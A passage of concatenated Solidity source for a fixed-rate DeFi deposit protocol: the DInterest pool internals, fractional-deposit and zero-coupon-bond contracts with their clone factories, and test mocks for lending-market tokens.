depositIsFunded(uint256 id) public view returns (bool) { return (id <= latestFundedDepositID); } function depositsLength() external view returns (uint256) { return deposits.length; } function fundingListLength() external view returns (uint256) { return fundingList.length; } function getDeposit(uint256 depositID) external view returns (Deposit memory) { return deposits[depositID.sub(1)]; } function getFunding(uint256 fundingID) external view returns (Funding memory) { return fundingList[fundingID.sub(1)]; } function moneyMarketIncomeIndex() external returns (uint256) { return moneyMarket.incomeIndex(); } /** Param setters */ function setFeeModel(address newValue) external onlyOwner { require(newValue.isContract(), "DInterest: not contract"); feeModel = IFeeModel(newValue); emit ESetParamAddress(msg.sender, "feeModel", newValue); } function setInterestModel(address newValue) external onlyOwner { require(newValue.isContract(), "DInterest: not contract"); interestModel = IInterestModel(newValue); emit ESetParamAddress(msg.sender, "interestModel", newValue); } function setInterestOracle(address newValue) external onlyOwner { require(newValue.isContract(), "DInterest: not contract"); interestOracle = IInterestOracle(newValue); require( interestOracle.moneyMarket() == address(moneyMarket), "DInterest: moneyMarket mismatch" ); emit ESetParamAddress(msg.sender, "interestOracle", newValue); } function setRewards(address newValue) external onlyOwner { require(newValue.isContract(), "DInterest: not contract"); moneyMarket.setRewards(newValue); emit ESetParamAddress(msg.sender, "moneyMarket.rewards", newValue); } function setMPHMinter(address newValue) external onlyOwner { require(newValue.isContract(), "DInterest: not contract"); mphMinter = MPHMinter(newValue); emit ESetParamAddress(msg.sender, "mphMinter", newValue); } function setMinDepositPeriod(uint256 newValue) external onlyOwner { require(newValue <= MaxDepositPeriod, "DInterest: invalid value"); MinDepositPeriod = newValue; emit ESetParamUint(msg.sender, "MinDepositPeriod", newValue); } function setMaxDepositPeriod(uint256 newValue) external onlyOwner { require( newValue >= MinDepositPeriod && newValue > 0, "DInterest: invalid value" ); MaxDepositPeriod = newValue; emit ESetParamUint(msg.sender, "MaxDepositPeriod", newValue); } function setMinDepositAmount(uint256 newValue) external onlyOwner { require( newValue <= MaxDepositAmount && newValue > 0, "DInterest: invalid value" ); MinDepositAmount = newValue; emit ESetParamUint(msg.sender, "MinDepositAmount", newValue); } function setMaxDepositAmount(uint256 newValue) external onlyOwner { require( newValue >= MinDepositAmount && newValue > 0, "DInterest: invalid value" ); MaxDepositAmount = newValue; emit ESetParamUint(msg.sender, "MaxDepositAmount", newValue); } function setDepositFee(uint256 newValue) external onlyOwner { require( newValue < PRECISION, "DInterest: invalid value" ); DepositFee = newValue; emit ESetParamUint(msg.sender, "DepositFee", newValue); } function setDepositNFTTokenURI(uint256 tokenId, string calldata newURI) external onlyOwner { depositNFT.setTokenURI(tokenId, newURI); } function setDepositNFTBaseURI(string calldata newURI) external onlyOwner { depositNFT.setBaseURI(newURI); } function setDepositNFTContractURI(string calldata newURI) external onlyOwner { depositNFT.setContractURI(newURI); } function setFundingNFTTokenURI(uint256 tokenId, string calldata newURI) external onlyOwner { fundingNFT.setTokenURI(tokenId, newURI); } function setFundingNFTBaseURI(string calldata newURI) external onlyOwner { fundingNFT.setBaseURI(newURI); } function setFundingNFTContractURI(string calldata newURI) external onlyOwner { fundingNFT.setContractURI(newURI); } /** Internal getters */ function _getDeposit(uint256 depositID) internal view returns (Deposit storage) { return deposits[depositID.sub(1)]; } function _getFunding(uint256 fundingID) internal view returns (Funding storage) { return fundingList[fundingID.sub(1)]; } function _applyDepositFee(uint256 depositAmount) internal view returns (uint256) { return depositAmount.decmul(PRECISION.sub(DepositFee)); } function _unapplyDepositFee(uint256 depositAmount) internal view returns (uint256) { return depositAmount.decdiv(PRECISION.sub(DepositFee)); } /** Internals */ function _deposit(uint256 amount, uint256 maturationTimestamp) internal { // Ensure deposit amount is not more than maximum require( amount >= MinDepositAmount && amount <= MaxDepositAmount, "DInterest: Deposit amount out of range" ); // Ensure deposit period is at least MinDepositPeriod uint256 depositPeriod = maturationTimestamp.sub(now); require( depositPeriod >= MinDepositPeriod && depositPeriod <= MaxDepositPeriod, "DInterest: Deposit period out of range" ); // Apply fee to deposit amount uint256 amountAfterFee = _applyDepositFee(amount); // Update totalDeposit totalDeposit = totalDeposit.add(amountAfterFee); // Calculate interest uint256 interestAmount = calculateInterestAmount(amountAfterFee, depositPeriod); require(interestAmount > 0, "DInterest: interestAmount == 0"); // Update funding related data uint256 id = deposits.length.add(1); unfundedUserDepositAmount = unfundedUserDepositAmount.add(amountAfterFee).add( interestAmount ); // Update totalInterestOwed totalInterestOwed = totalInterestOwed.add(interestAmount); // Mint MPH for msg.sender uint256 mintMPHAmount = mphMinter.mintDepositorReward( msg.sender, amountAfterFee, depositPeriod, interestAmount ); // Record deposit data for `msg.sender` deposits.push( Deposit({ amount: amountAfterFee, maturationTimestamp: maturationTimestamp, interestOwed: interestAmount, initialMoneyMarketIncomeIndex: moneyMarket.incomeIndex(), active: true, finalSurplusIsNegative: false, finalSurplusAmount: 0, mintMPHAmount: mintMPHAmount, depositTimestamp: now }) ); // Transfer `amount` stablecoin to DInterest stablecoin.safeTransferFrom(msg.sender, address(this), amount); // Lend `amount` stablecoin to money market stablecoin.safeIncreaseAllowance(address(moneyMarket), amount); moneyMarket.deposit(amount); // Mint depositNFT depositNFT.mint(msg.sender, id); // Emit event emit EDeposit( msg.sender, id, amountAfterFee, maturationTimestamp, interestAmount, mintMPHAmount ); } function _withdraw( uint256 depositID, uint256 fundingID, bool early ) internal { Deposit storage depositEntry = _getDeposit(depositID); // Verify deposit is active and set to inactive require(depositEntry.active, "DInterest: Deposit not active"); depositEntry.active = false; if (early) { // Verify `now < depositEntry.maturationTimestamp` require( now < depositEntry.maturationTimestamp, "DInterest: Deposit mature, use withdraw() instead" ); // Verify `now > depositEntry.depositTimestamp` require( now > depositEntry.depositTimestamp, "DInterest: Deposited in same block" ); } else { // Verify `now >= depositEntry.maturationTimestamp` require( now >= depositEntry.maturationTimestamp, "DInterest: Deposit not mature" ); } // Verify msg.sender owns the depositNFT require( depositNFT.ownerOf(depositID) == msg.sender, "DInterest: Sender doesn't own depositNFT" ); // Restrict scope to prevent stack too deep error { // Take back MPH uint256 takeBackMPHAmount = mphMinter.takeBackDepositorReward( msg.sender, depositEntry.mintMPHAmount, early ); // Emit event emit EWithdraw( msg.sender, depositID, fundingID, early, takeBackMPHAmount ); } // Update totalDeposit totalDeposit = totalDeposit.sub(depositEntry.amount); // Update totalInterestOwed totalInterestOwed = totalInterestOwed.sub(depositEntry.interestOwed); // Fetch the income index & surplus before withdrawal, to prevent our withdrawal from // increasing the income index when the money market vault total supply is extremely small // (vault as in yEarn & Harvest vaults) uint256 currentMoneyMarketIncomeIndex = moneyMarket.incomeIndex(); require( currentMoneyMarketIncomeIndex > 0, "DInterest: currentMoneyMarketIncomeIndex == 0" ); (bool depositSurplusIsNegative, uint256 depositSurplus) = surplusOfDeposit(depositID); // Restrict scope to prevent stack too deep error { uint256 feeAmount; uint256 withdrawAmount; if (early) { // Withdraw the principal of the deposit from money market withdrawAmount = depositEntry.amount; } else { // Withdraw the principal & the interest from money market feeAmount = feeModel.getFee(depositEntry.interestOwed); withdrawAmount = depositEntry.amount.add( depositEntry.interestOwed ); } withdrawAmount = moneyMarket.withdraw(withdrawAmount); // Send `withdrawAmount - feeAmount` stablecoin to `msg.sender` stablecoin.safeTransfer(msg.sender, withdrawAmount.sub(feeAmount)); // Send `feeAmount` stablecoin to feeModel beneficiary if (feeAmount > 0) { stablecoin.safeTransfer(feeModel.beneficiary(), feeAmount); } } // If deposit was funded, payout interest to funder if (depositIsFunded(depositID)) { _payInterestToFunder( fundingID, depositID, depositEntry.amount, depositEntry.maturationTimestamp, depositEntry.interestOwed, depositSurplusIsNegative, depositSurplus, currentMoneyMarketIncomeIndex, early ); } else { // Remove deposit from future deficit fundings unfundedUserDepositAmount = unfundedUserDepositAmount.sub( depositEntry.amount.add(depositEntry.interestOwed) ); // Record remaining surplus depositEntry.finalSurplusIsNegative = depositSurplusIsNegative; depositEntry.finalSurplusAmount = depositSurplus; } } function _payInterestToFunder( uint256 fundingID, uint256 depositID, uint256 depositAmount, uint256 depositMaturationTimestamp, uint256 depositInterestOwed, bool depositSurplusIsNegative, uint256 depositSurplus, uint256 currentMoneyMarketIncomeIndex, bool early ) internal { Funding storage f = _getFunding(fundingID); require( depositID > f.fromDepositID && depositID <= f.toDepositID, "DInterest: Deposit not funded by fundingID" ); uint256 interestAmount = f .recordedFundedDepositAmount .mul(currentMoneyMarketIncomeIndex) .div(f.recordedMoneyMarketIncomeIndex) .sub(f.recordedFundedDepositAmount); // Update funding values sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .sub( f.recordedFundedDepositAmount.mul(EXTRA_PRECISION).div( f.recordedMoneyMarketIncomeIndex ) ); f.recordedFundedDepositAmount = f.recordedFundedDepositAmount.sub( depositAmount.add(depositInterestOwed) ); f.recordedMoneyMarketIncomeIndex = currentMoneyMarketIncomeIndex; sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex = sumOfRecordedFundedDepositAndInterestAmountDivRecordedIncomeIndex .add( f.recordedFundedDepositAmount.mul(EXTRA_PRECISION).div( f.recordedMoneyMarketIncomeIndex ) ); // Send interest to funder address funder = fundingNFT.ownerOf(fundingID); uint256 transferToFunderAmount = (early && depositSurplusIsNegative) ? interestAmount.add(depositSurplus) : interestAmount; if (transferToFunderAmount > 0) { transferToFunderAmount = moneyMarket.withdraw( transferToFunderAmount ); if (transferToFunderAmount > 0) { stablecoin.safeTransfer(funder, transferToFunderAmount); } } // Mint funder rewards mphMinter.mintFunderReward( funder, depositAmount, f.creationTimestamp, depositMaturationTimestamp, interestAmount, early ); } function _fund(uint256 totalDeficit) internal { // Given the deposit fee, the funder needs to pay more than // the deficit to cover the deficit uint256 deficitWithFee = _unapplyDepositFee(totalDeficit); // Transfer `totalDeficit` stablecoins from msg.sender stablecoin.safeTransferFrom(msg.sender, address(this), deficitWithFee); // Deposit `totalDeficit` stablecoins into moneyMarket stablecoin.safeIncreaseAllowance(address(moneyMarket), deficitWithFee); moneyMarket.deposit(deficitWithFee); // Mint fundingNFT fundingNFT.mint(msg.sender, fundingList.length); // Emit event uint256 fundingID = fundingList.length; emit EFund(msg.sender, fundingID, deficitWithFee); } } pragma solidity 0.5.17; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; import "../DInterest.sol"; import "../NFT.sol"; import "../rewards/MPHToken.sol"; import "../models/fee/IFeeModel.sol"; contract FractionalDeposit is ERC20, IERC721Receiver, Ownable { using SafeMath for uint256; using SafeERC20 for ERC20; bool public initialized; DInterest public pool; NFT public nft; MPHToken public mph; uint256 public nftID; uint256 public mintMPHAmount; bool public active; string public name; string public symbol; uint8 public decimals; event WithdrawDeposit(); event RedeemShares( address indexed user, uint256 amountInShares, uint256 redeemStablecoinAmount ); function init( address _owner, address _pool, address _mph, uint256 _nftID, string calldata _tokenName, string calldata _tokenSymbol ) external { require(!initialized, "FractionalDeposit: initialized"); initialized = true; _transferOwnership(_owner); pool = DInterest(_pool); mph = MPHToken(_mph); nft = NFT(pool.depositNFT()); nftID = _nftID; active = true; name = _tokenName; symbol = _tokenSymbol; // ensure contract is owner of NFT require( nft.ownerOf(_nftID) == address(this), "FractionalDeposit: not deposit owner" ); // mint tokens to owner DInterest.Deposit memory deposit = pool.getDeposit(_nftID); require(deposit.active, "FractionalDeposit: deposit inactive"); uint256 rawInterestOwed = deposit.interestOwed; uint256 interestAfterFee = rawInterestOwed.sub(pool.feeModel().getFee(rawInterestOwed)); uint256 initialSupply = deposit.amount.add(interestAfterFee); _mint(_owner, initialSupply); // transfer MPH from msg.sender mintMPHAmount = deposit.mintMPHAmount; mph.transferFrom(msg.sender, address(this), mintMPHAmount); // set decimals to be the same as the underlying stablecoin decimals = ERC20Detailed(address(pool.stablecoin())).decimals(); } function withdrawDeposit(uint256 fundingID) external { _withdrawDeposit(fundingID); } function transferNFTToOwner() external { require(!active, "FractionalDeposit: deposit active"); // transfer NFT to owner nft.safeTransferFrom(address(this), owner(), nftID); } function redeemShares(uint256 amountInShares, uint256 fundingID) external returns (uint256 redeemStablecoinAmount) { if (active) { // if deposit is still active, call withdrawDeposit() _withdrawDeposit(fundingID); } ERC20 stablecoin = pool.stablecoin(); uint256 stablecoinBalance = stablecoin.balanceOf(address(this)); redeemStablecoinAmount = amountInShares.mul(stablecoinBalance).div( totalSupply() ); if (redeemStablecoinAmount > stablecoinBalance) { // prevent transferring too much redeemStablecoinAmount = stablecoinBalance; } // burn shares from sender _burn(msg.sender, amountInShares); // transfer pro rata withdrawn deposit stablecoin.safeTransfer(msg.sender, redeemStablecoinAmount); emit RedeemShares(msg.sender, amountInShares, redeemStablecoinAmount); } function _withdrawDeposit(uint256 fundingID) internal { require(active, "FractionalDeposit: deposit inactive"); active = false; uint256 _nftID = nftID; // withdraw deposit from DInterest pool mph.increaseAllowance(address(pool.mphMinter()), mintMPHAmount); pool.withdraw(_nftID, fundingID); // return leftover MPH uint256 mphBalance = mph.balanceOf(address(this)); if (mphBalance > 0) { mph.transfer(owner(), mphBalance); } emit WithdrawDeposit(); } /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) public returns (bytes4) { // only allow incoming transfer if not initialized require(!initialized, "FractionalDeposit: initialized"); return this.onERC721Received.selector; } } pragma solidity ^0.5.0; import "./IERC20.sol"; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } pragma solidity 0.5.17; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "../libs/CloneFactory.sol"; import "./FractionalDeposit.sol"; import "../DInterest.sol"; import "../NFT.sol"; import "../rewards/MPHToken.sol"; contract FractionalDepositFactory is CloneFactory, IERC721Receiver { address public template; MPHToken public mph; event CreateClone(address _clone); constructor(address _template, address _mph) public { template = _template; mph = MPHToken(_mph); } function createFractionalDeposit( address _pool, uint256 _nftID, string calldata _tokenName, string calldata _tokenSymbol ) external returns (FractionalDeposit) { FractionalDeposit clone = FractionalDeposit(createClone(template)); // transfer NFT from msg.sender to clone DInterest pool = DInterest(_pool); NFT nft = NFT(pool.depositNFT()); nft.safeTransferFrom(msg.sender, address(this), _nftID); nft.safeTransferFrom(address(this), address(clone), _nftID); // transfer MPH reward from msg.sender DInterest.Deposit memory deposit = pool.getDeposit(_nftID); uint256 mintMPHAmount = deposit.mintMPHAmount; mph.transferFrom(msg.sender, address(this), mintMPHAmount); mph.increaseAllowance(address(clone), mintMPHAmount); // initialize clone.init( msg.sender, _pool, address(mph), _nftID, _tokenName, _tokenSymbol ); emit CreateClone(address(clone)); return clone; } function isFractionalDeposit(address query) external view returns (bool) { return isClone(template, query); } /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) public returns (bytes4) { return this.onERC721Received.selector; } } pragma solidity 0.5.17; /* The MIT License (MIT) Copyright (c) 2018 Murray Software, LLC. Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ //solhint-disable max-line-length //solhint-disable no-inline-assembly contract CloneFactory { function createClone(address target) internal returns (address result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000) mstore(add(clone, 0x14), targetBytes) mstore(add(clone, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) result := create(0, clone, 0x37) } } function isClone(address target, address query) internal view returns (bool result) { bytes20 targetBytes = bytes20(target); assembly { let clone := mload(0x40) mstore(clone, 0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000) mstore(add(clone, 0xa), targetBytes) mstore(add(clone, 0x1e), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000) let other := add(clone, 0x40) extcodecopy(query, other, 0, 0x2d) result := and( eq(mload(clone), mload(other)), eq(mload(add(clone, 0xd)), mload(add(other, 0xd))) ) } } } pragma solidity 0.5.17; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol"; import "../DInterest.sol"; import "./FractionalDeposit.sol"; import "./FractionalDepositFactory.sol"; // OpenZeppelin contract modified to support cloned contracts contract ClonedReentrancyGuard { bool internal _notEntered; /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_notEntered, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _notEntered = false; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _notEntered = true; } } contract ZeroCouponBond is ERC20, ClonedReentrancyGuard, IERC721Receiver { using SafeERC20 for ERC20; bool public initialized; DInterest public pool; FractionalDepositFactory public fractionalDepositFactory; ERC20 public stablecoin; uint256 public maturationTimestamp; string public name; string public symbol; uint8 public decimals; event Mint( address indexed sender, address indexed fractionalDepositAddress, uint256 amount ); event RedeemFractionalDepositShares( address indexed sender, address indexed fractionalDepositAddress, uint256 fundingID ); event RedeemStablecoin(address indexed sender, uint256 amount); function init( address _pool, address _fractionalDepositFactory, uint256 _maturationTimestamp, string calldata _tokenName, string calldata _tokenSymbol ) external { require(!initialized, "ZeroCouponBond: initialized"); initialized = true; _notEntered = true; pool = DInterest(_pool); fractionalDepositFactory = FractionalDepositFactory( _fractionalDepositFactory ); stablecoin = pool.stablecoin(); maturationTimestamp = _maturationTimestamp; name = _tokenName; symbol = _tokenSymbol; // set decimals to be the same as the underlying stablecoin decimals = ERC20Detailed(address(pool.stablecoin())).decimals(); // infinite approval to fractional deposit factory to save gas during minting with NFT pool.depositNFT().setApprovalForAll(_fractionalDepositFactory, true); fractionalDepositFactory.mph().approve( _fractionalDepositFactory, uint256(-1) ); } function mintWithDepositNFT( uint256 nftID, string calldata fractionalDepositName, string calldata fractionalDepositSymbol ) external nonReentrant returns ( uint256 zeroCouponBondsAmount, FractionalDeposit fractionalDeposit ) { // ensure the deposit's maturation time is on or before that of the ZCB DInterest.Deposit memory depositStruct = pool.getDeposit(nftID); uint256 depositMaturationTimestamp = depositStruct.maturationTimestamp; require( depositMaturationTimestamp <= maturationTimestamp, "ZeroCouponBonds: maturation too late" ); // transfer MPH from `msg.sender` MPHToken mph = fractionalDepositFactory.mph(); mph.transferFrom( msg.sender, address(this), depositStruct.mintMPHAmount ); // transfer deposit NFT from `msg.sender` NFT depositNFT = pool.depositNFT(); depositNFT.safeTransferFrom(msg.sender, address(this), nftID); // call fractionalDepositFactory to create fractional deposit using NFT fractionalDeposit = fractionalDepositFactory.createFractionalDeposit( address(pool), nftID, fractionalDepositName, fractionalDepositSymbol ); fractionalDeposit.transferOwnership(msg.sender); // mint zero coupon bonds to `msg.sender` zeroCouponBondsAmount = fractionalDeposit.totalSupply(); _mint(msg.sender, zeroCouponBondsAmount); emit Mint( msg.sender, address(fractionalDeposit), zeroCouponBondsAmount ); } function redeemFractionalDepositShares( address fractionalDepositAddress, uint256 fundingID ) external nonReentrant { FractionalDeposit fractionalDeposit = FractionalDeposit(fractionalDepositAddress); uint256 balance = fractionalDeposit.balanceOf(address(this)); fractionalDeposit.redeemShares(balance, fundingID); emit RedeemFractionalDepositShares( msg.sender, fractionalDepositAddress, fundingID ); } function redeemStablecoin(uint256 amount) external nonReentrant returns (uint256 actualRedeemedAmount) { require(now >= maturationTimestamp, "ZeroCouponBond: not mature"); uint256 stablecoinBalance = stablecoin.balanceOf(address(this)); actualRedeemedAmount = amount > stablecoinBalance ? stablecoinBalance : amount; // burn `actualRedeemedAmount` zero coupon bonds from `msg.sender` _burn(msg.sender, actualRedeemedAmount); // transfer `actualRedeemedAmount` stablecoins to `msg.sender` stablecoin.safeTransfer(msg.sender, actualRedeemedAmount); emit RedeemStablecoin(msg.sender, actualRedeemedAmount); } /** * @notice Handle the receipt of an NFT * @dev The ERC721 smart contract calls this function on the recipient * after a {IERC721-safeTransferFrom}. This function MUST return the function selector, * otherwise the caller will revert the transaction. The selector to be * returned can be obtained as `this.onERC721Received.selector`. This * function MAY throw to revert and reject the transfer. * Note: the ERC721 contract address is always the message sender. * @param operator The address which called `safeTransferFrom` function * @param from The address which previously owned the token * @param tokenId The NFT identifier which is being transferred * @param data Additional data with no specified format * @return bytes4 `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` */ function onERC721Received( address operator, address from, uint256 tokenId, bytes memory data ) public returns (bytes4) { return this.onERC721Received.selector; } } pragma solidity 0.5.17; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "../libs/CloneFactory.sol"; import "./ZeroCouponBond.sol"; contract ZeroCouponBondFactory is CloneFactory { address public template; address public fractionalDepositFactory; event CreateClone(address _clone); constructor(address _template, address _fractionalDepositFactory) public { template = _template; fractionalDepositFactory = _fractionalDepositFactory; } function createZeroCouponBond( address _pool, uint256 _maturationTimetstamp, string calldata _tokenName, string calldata _tokenSymbol ) external returns (ZeroCouponBond) { ZeroCouponBond clone = ZeroCouponBond(createClone(template)); // initialize clone.init( _pool, fractionalDepositFactory, _maturationTimetstamp, _tokenName, _tokenSymbol ); emit CreateClone(address(clone)); return clone; } function isZeroCouponBond(address query) external view returns (bool) { return isClone(template, query); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../libs/DecMath.sol"; contract ATokenMock is ERC20, ERC20Detailed { using SafeMath for uint256; using DecMath for uint256; uint256 internal constant YEAR = 31556952; // Number of seconds in one Gregorian calendar year (365.2425 days) ERC20 public dai; uint256 public liquidityRate; uint256 public normalizedIncome; address[] public users; mapping(address => bool) public isUser; constructor(address _dai) public ERC20Detailed("aDAI", "aDAI", 18) { dai = ERC20(_dai); liquidityRate = 10 ** 26; // 10% APY normalizedIncome = 10 ** 27; } function mint(address _user, uint256 _amount) external { _mint(_user, _amount); if (!isUser[_user]) { users.push(_user); isUser[_user] = true; } } function burn(address _user, uint256 _amount) external { _burn(_user, _amount); } function mintInterest(uint256 _seconds) external { uint256 interest; address user; for (uint256 i = 0; i < users.length; i++) { user = users[i]; interest = balanceOf(user).mul(_seconds).mul(liquidityRate).div(YEAR.mul(10**27)); _mint(user, interest); } normalizedIncome = normalizedIncome.mul(_seconds).mul(liquidityRate).div(YEAR.mul(10**27)).add(normalizedIncome); } function setLiquidityRate(uint256 _liquidityRate) external { liquidityRate = _liquidityRate; } } /** Modified from https://github.com/bugduino/idle-contracts/blob/master/contracts/mocks/cDAIMock.sol at commit b85dafa8e55e053cb2d403fc4b28cfe86f2116d4 Original license: Copyright 2020 Idle Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.5.17; // interfaces import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; contract CERC20Mock is ERC20, ERC20Detailed { address public dai; uint256 internal _supplyRate; uint256 internal _exchangeRate; constructor(address _dai) public ERC20Detailed("cDAI", "cDAI", 8) { dai = _dai; uint256 daiDecimals = ERC20Detailed(_dai).decimals(); _exchangeRate = 2 * (10**(daiDecimals + 8)); // 1 cDAI = 0.02 DAI _supplyRate = 45290900000; // 10% supply rate per year } function mint(uint256 amount) external returns (uint256) { require( ERC20(dai).transferFrom(msg.sender, address(this), amount), "Error during transferFrom" ); // 1 DAI _mint(msg.sender, (amount * 10**18) / _exchangeRate); return 0; } function redeemUnderlying(uint256 amount) external returns (uint256) { _burn(msg.sender, (amount * 10**18) / _exchangeRate); require( ERC20(dai).transfer(msg.sender, amount), "Error during transfer" ); // 1 DAI return 0; } function exchangeRateStored() external view returns (uint256) { return _exchangeRate; } function exchangeRateCurrent() external view returns (uint256) { return _exchangeRate; } function _setExchangeRateStored(uint256 _rate) external returns (uint256) { _exchangeRate = _rate; } function supplyRatePerBlock() external view returns (uint256) { return _supplyRate; } function _setSupplyRatePerBlock(uint256 _rate) external { _supplyRate = _rate; } } pragma solidity 0.5.17; // interfaces import "./ERC20Mock.sol"; contract ComptrollerMock { uint256 public constant CLAIM_AMOUNT = 10**18; ERC20Mock public comp; constructor (address _comp) public { comp = ERC20Mock(_comp); } function claimComp(address holder) external { comp.mint(holder, CLAIM_AMOUNT); } function getCompAddress() external view returns (address) { return address(comp); } } pragma solidity 0.5.17; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; contract ERC20Mock is ERC20, ERC20Detailed("", "", 6) { function mint(address to, uint256 amount) public { _mint(to, amount); } function transfer(address recipient, uint256 amount) public returns (bool) { require(amount > 0, "ERC20Mock: amount 0"); _transfer(_msgSender(), recipient, amount); return true; } } /* ____ __ __ __ _ / __/__ __ ___ / /_ / / ___ / /_ (_)__ __ _\ \ / // // _ \/ __// _ \/ -_)/ __// / \ \ / /___/ \_, //_//_/\__//_//_/\__/ \__//_/ /_\_\ /___/ * Synthetix: Rewards.sol * * Docs: https://docs.synthetix.io/ * * * MIT License * =========== * * Copyright (c) 2020 Synthetix * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE 